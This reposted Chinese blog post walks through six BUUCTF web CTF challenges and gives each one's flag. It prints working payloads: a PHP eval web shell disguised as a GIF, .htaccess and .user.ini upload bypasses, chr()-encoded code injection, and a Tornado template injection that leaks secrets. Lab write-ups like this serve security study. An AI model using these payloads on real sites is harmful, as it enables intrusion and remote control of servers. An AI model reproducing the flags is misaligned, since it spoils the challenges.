【BUUCTF web】通关 2.0

🍬 博主介绍👨‍🎓 博主介绍：大家好，我是 hacker-routing ，很高兴认识大家~
✨主攻领域：【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

目录

1、[RoarCTF 2019]Easy Calc

2、[极客大挑战 2019]BuyFlag

3、[HCTF 2018]admin

4、[护网杯 2018]easy_tornado

handler.settings

5、[GXYCTF2019]BabyUpload

.htaccess木马

6、[SUCTF 2019]CheckIn

.user.ini木马

1、[RoarCTF 2019]Easy Calc

flag{3d1e3a7c-463d-4cc0-b976-3e3fbe8b1894}

打开链接，发现是一个输入框，我们可以尝试sql注入，但是我尝试了很多，发现一输入字符串，就报错了，所以这里应该不是sql注入漏洞。

我们这里右击查看网页源代码，

源代码解释：

  • 通过 jQuery 选择器 $('#calc') 监听表单提交事件，并在提交时执行指定的函数。
  • 在提交事件中，通过 $.ajax() 发起一个 GET 请求到 calc.php，请求参数 num 的数值来自于输入框 #content 的值，并对其进行 URL 编码。
  • 如果请求成功，success 回调函数会将返回的数据插入到具有绿色背景色的提示框中，并显示在页面上。
  • 如果请求失败，error 回调函数会弹出一个警告框，提示"这啥?算不来!"。
  • 返回 false 会阻止表单的默认提交行为。

我们根据提示，访问calc.php/目录，发现是一段php代码审计

通过上面的分析，我们构造下面的payload：

calc.php? num=print_r(scandir('/')); //中间记得有个空格

请求参数 num 中的值 print_r(scandir('/')); 包含了括号和分号等符号，这些符号在黑名单中，因此会导致代码检测到黑名单字符而触发拒绝执行的逻辑，最终输出 “what are you want to do?” 错误信息。

那我们利用ASCII 值进行过滤，payload如下：

calc.php? num=print_r(scandir(chr(47)));

使用了 chr(47) 函数来生成 ASCII 值为 47 的字符，ASCII 值为 47 对应于斜杠 /。这样产生的结果和直接输入 / 是等价的。

输入后 可以浏览根目录下的文件，而其中的falgg就是我们要读取的文件

? num=print_r(file_get_contents('/flagg'));其中/flagg 用chr进行绕过? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

2、[极客大挑战 2019]BuyFlag

flag{6a2a46b6-6901-4548-828a-cce53bffab0a}

打开链接访问，右上角点击，然后再点击PAYFLAG按钮

没猜错的话，这个就是一个购买flag的功能点位置

右击查看网页源代码，发现一个注释的php代码审计

通过上面的php代码审计，我们可以利用password进行post传参，然后对is_numeric()进行过滤，我们可以用 404abc进行过滤

但是我无论怎么输入，他都报这个错误，并且没有回显别的内容说 只有Cuit的学生才能购买Flag，我们猜测，用户和cookie是相关联的，那么我们对用户的cookie进行查看

一看，发现cookie值是0，那么我改成1，再进行下一步

password=404abc

他让我支付flag，我们利用money参数进行支付

password=404abc&money=100000000

报错说我们的money估计金额被限制了，用数组绕一下

password=404abc&money[]=1

我们成功买到了flag，flag{6a2a46b6-6901-4548-828a-cce53bffab0a}

3、[HCTF 2018]admin

flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}

打开题目，我们直接点击登录login页面，题目提示admin，说明这个题目要拿到admin用户，才可以查看到flag。

我们这里利用burp工具抓包尝试下密码破解，直接设置123为爆破对象

load选择字典，一般可以去网上找弱口令的爆破字典，GitHub上面还是蛮多的。

发现爆破成功了，密码就是123，属于弱口令

成功拿到flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}

4、[护网杯 2018]easy_tornado

flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}

一打开环境，发现存在三个.txt文件

/flag.txt中，告诉我们flag在 /fllllllllllllag里面

/welcome.txt文件里面，没有什么直接价值的信息

在hints.txt文件中发现md5计算，md5(cookie_secret+md5(filename))

在hints.txt文件中发现md5计算，md5(cookie_secret+md5(filename))

并且三个文件中都存在filehash（文件名被哈希算法加密32位小写）

所以，filehash就是md5(cookie_secret+md5(filename))

然后，filename就是/fllllllllllllag

现在只缺cookie_secret这个东西，只要有了cookie_secret，再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag

查看题目的名字，tornado是python的一个模板，可以看出这道题是模板注入类的题目

通过修改filehash，发现报error的错

模板注入必须通过传输型如{{xxx}}的执行命令

/error?msg={{3*3}}

发现总是报ORZ，说明这个就是tornado模板注入

handler.settings

在 Tornado 中，handler.settings 是一个字典，用于存储和访问应用程序的设置信息。这个字典通常在 Tornado 的 RequestHandler 中使用，用于配置和传递应用程序的各种参数。

通过handler.settings，可以在处理请求的过程中访问和使用应用程序的配置信息，例如数据库连接信息、API 密钥、模板路径等。这样做的好处是可以将应用程序的配置信息集中管理，便于维护和修改。

开发者可以在创建 Tornado 的 Application 对象时通过传递 settings 参数来设置这些配置信息，然后在 RequestHandler 中通过 handler.settings 来获取并使用这些信息。例如：

# 创建 Tornado 应用程序时传入配置信息
app = tornado.web.Application(handlers=[(r'/', MainHandler)], settings={"debug": True,"database": {"host": "localhost","port": 3306,"user": "root","password": "password"}
})# 在 RequestHandler 中访问配置信息
class MainHandler(tornado.web.RequestHandler):def get(self):debug_mode = self.settings.get("debug")db_host = self.settings.get("database").get("host")self.write(f"Debug Mode: {debug_mode}, Database Host: {db_host}")

通过handler.settings，可以方便地在 Tornado 应用程序中管理和使用各种配置参数，提高代码的可维护性和灵活性。

爆cookie_secret

error?msg={{handler.settings}}

得到cookie_secret：447c8b25-6c6b-4229-8569-d6284192087e

按照公式进行加密

公式md5(cookie_secret+md5(filename))=b0b99193d1ce9c809265a3b6c4950133

最终payload：

file?filename=/fllllllllllllag&filehash=b0b99193d1ce9c809265a3b6c4950133

成功拿到flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}

5、[GXYCTF2019]BabyUpload

这是一道文件上传的题目，我们先来尝试上传一个php后缀的木马上去，看看报错内容：后缀名不能有ph！

发现后缀是不可以有ph了，所以说什么双写绕过，phtml，大小写绕过都没有用，只能改后缀了，所以就想到只能用.htaccess文件进行文件上传了。

.htaccess木马文件内容(xiaoma.jpg为到时候后面进行木马上传jpg木马的文件名，因为这个.htaccess木马就是把xiaoma.jpg里面的内容当初php代码来执行)

<FilesMatch "xiaoma.jpg">SetHandler application/x-httpd-php  
</FilesMatch>
.htaccess木马

第一步：

右击发送两个包到repeater里面，我们后面要进行绕过。

第二步：

发现我们上传的.htaccess木马被暴露了，经过尝试，发现是Content-Type: 的原因，我们直接把Content-Type: 里面的内容改成jpg的 /image/jpeg，并且加上图片头：GIF89a

发现文件上传成功了

第三步：

我们写正常的一句话木马，竟然直接被它给识别出来了，应该是里面有<?php过滤了，那么我们换个木马进行绕过。

xiaoma.jpg木马：我们要把第二次发包的那个包里面的.htaccess名字改成xiaoma.jpg

GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

发现上传成功了，我们直接连接蚁剑，查看flag

第四步：

连接蚁剑，查看flag

6、[SUCTF 2019]CheckIn

flag{8efd51f4-988b-48b9-b1d2-c5888c2771b0}

题目是个文件上传，我们先上传一个xiaoma.jpg上去探测题目过滤内容

GIF89a
<?php
@eval($_POST['cmd']);
?>

报的这个错，说明对<?php进行了过滤，我们需要对一句话木马进行修改

GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

我们把木马后缀进行了修改，发现题目对ph进行了过滤，我开始尝试了利用.htaccess木马文件进行绕过，发现.htaccess确实是可以绕过，但是发现那个木马文件不能呗执行成php木马执行，让getshell。

这里我们利用.user.ini文件进行绕过。

.user.ini木马

php.ini是php的一个全局配置文件，对整个web服务起作用；而.user.ini和.htaccess一样是目录的配置文件，.user.ini就是用户自定义的一个php.ini，我们可以利用这个文件来构造后门和隐藏后门。

GIF89a
auto_prepend_file=xiaoma.jpg

第一步：

先上传.user.ini木马，然后再重发两个包到Repeater里面，然后再改Content-Type: image/jpeg

发现上传成功了。

第二步：

把刚才重发的第二个包修改，然后上传。

第三步：

访问xiaoma.jpg那个上传成功包的目录位置，发现木马被成功执行了。

第四步：

连接蚁剑，然后getshell查看flag

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/504597.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Linux篇: 进程控制

Linux篇: 进程控制

一、进程创建 1.1 fork函数初识 在Linux中&#xff0c;fork函数是非常重要的函数&#xff0c;它从已存在进程中创建一个新进程。新进程为子进程&#xff0c;而原进程为父进程。 返回值&#xff1a; 在子进程中返回0&#xff0c;父进程中返回子进程的PID&#xff0c;子进程创…
阅读更多...
Vue3快速上手（十六）Vue3路由传参大全

Vue3快速上手（十六）Vue3路由传参大全

Vue3路由传参 一、传参的多种方式 1.1 拼接方式 这种方式适合传递单个参数的情况&#xff0c;比如点击查看详情&#xff0c;传个id这样的场景 传参&#xff1a; <RouterLink to"/person?id1" active-class"active">person</RouterLink> …
阅读更多...
Linux高负载排查最佳实践

Linux高负载排查最佳实践

在Linux系统中&#xff0c;经常会因为负载过高导致各种性能问题。那么如何进行排查&#xff0c;其实是有迹可循&#xff0c;而且模式固定。 本次就来分享一下&#xff0c;CPU占用过高、磁盘IO占用过高的排查方法。 还是那句话&#xff0c;以最佳实践入手&#xff0c;真传一句话…
阅读更多...
如何使用naive 做一个模态框的方式

如何使用naive 做一个模态框的方式

1.我的问题使用了一个table 表格&#xff0c;在表格中设置俩个按钮 最后做出来的效果 <template><div><h1>测试文件</h1><!-- 表格 --><n-data-table :columns"columns" :data"data" :pagination"pagination" …
阅读更多...
数独游戏(dfs)

数独游戏(dfs)

代码注释如下 #include <iostream> using namespace std; const int N 10; bool col[N][N], rol[N][N], cell[3][3][N]; char g[N][N]; bool dfs(int x, int y) { //用bool这样在找到一个方案就可以迅速退出if(y 9) x, y 0; //若y超出边界&#xff0c;则第二…
阅读更多...
蓝桥杯-单片机组基础5——外部中断与LED的控制（附小蜜蜂课程代码）

蓝桥杯-单片机组基础5——外部中断与LED的控制（附小蜜蜂课程代码）

蓝桥杯单片机组备赛指南请查看这篇文章&#xff1a;戳此跳转蓝桥杯备赛指南文章 本文章针对蓝桥杯-单片机组比赛开发板所写&#xff0c;代码可直接在比赛开发板上使用。 型号&#xff1a;国信天长4T开发板&#xff08;绿板&#xff09;&#xff0c;芯片&#xff1a;IAP15F2K6…
阅读更多...
KubeSphere平台安装系列之二【Linux单节点部署KubeSphere】（2/3）

KubeSphere平台安装系列之二【Linux单节点部署KubeSphere】（2/3）

**《KubeSphere平台安装系列》** 【Kubernetes上安装KubeSphere&#xff08;亲测–实操完整版&#xff09;】&#xff08;1/3&#xff09; 【Linux单节点部署KubeSphere】&#xff08;2/3&#xff09; 【Linux多节点部署KubeSphere】&#xff08;3/3&#xff09; **《KubeS…
阅读更多...
linux系统Jenkins工具配置webhook自动部署

linux系统Jenkins工具配置webhook自动部署

Jenkins工具webhook自动部署 webhook自动部署webhook的意义操作流程jenkins页面操作gitlab页面操作 webhook自动部署 webhook的意义 自动化部署&#xff1a;Webhook 可以在代码提交、合并请求或其他特定事件发生时自动触发 Jenkins 构建和部署任务&#xff0c;从而实现自动化…
阅读更多...
shell自定义日志输出函数log

shell自定义日志输出函数log

Background 在编写比较复杂的脚本时&#xff0c;需要输出相关日志信息&#xff0c;方便知悉脚本的执行情况以及问题的排查。 源码 log.sh # 自定义日志函数 function log(){if [[ $1 "i" || $1 "info" ]]; thenecho -ne "\033[1;34mINFO: \033[0m&…
阅读更多...
爬虫入门到精通_实战篇8(分析Ajax请求并抓取今日头条美食美图)_界面上抓取Ajax方式

爬虫入门到精通_实战篇8(分析Ajax请求并抓取今日头条美食美图)_界面上抓取Ajax方式

1 目标 目标&#xff1a; 抓取今日头条美食美图&#xff0c;如下&#xff1a; 一些网页直接请求得到的HTML代码并没有在网页中看到的内容&#xff0c;因为一些信息是通过Ajax加载&#xff0c;并通过js渲染生成的&#xff0c;这时就需要通过分析网页的请求来获取想要爬取的内容…
阅读更多...
LeetCode 热题 100 | 图论（二）

LeetCode 热题 100 | 图论（二）

目录 1 基础知识 1.1 什么是拓扑排序 1.2 如何进行拓扑排序 1.3 拓扑排序举例 2 207. 课程表 3 210. 课程表 II 菜鸟做题&#xff0c;语言是 C 1 基础知识 1.1 什么是拓扑排序 含义&#xff1a;根据节点之间的依赖关系来生成一个有序的序列。 应用&#xff1a…
阅读更多...
智能分析网关V4安全帽检测/反光衣检测/通用工服检测算法及应用

智能分析网关V4安全帽检测/反光衣检测/通用工服检测算法及应用

TSINGSEE青犀视频智能分析网关V4内置了近40种AI算法模型&#xff0c;支持对接入的视频图像进行人、车、物、行为等实时检测分析&#xff0c;上报识别结果&#xff0c;并能进行语音告警播放。硬件管理平台支持RTSP、GB28181协议、以及厂家私有协议接入&#xff0c;可兼容市面上常…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023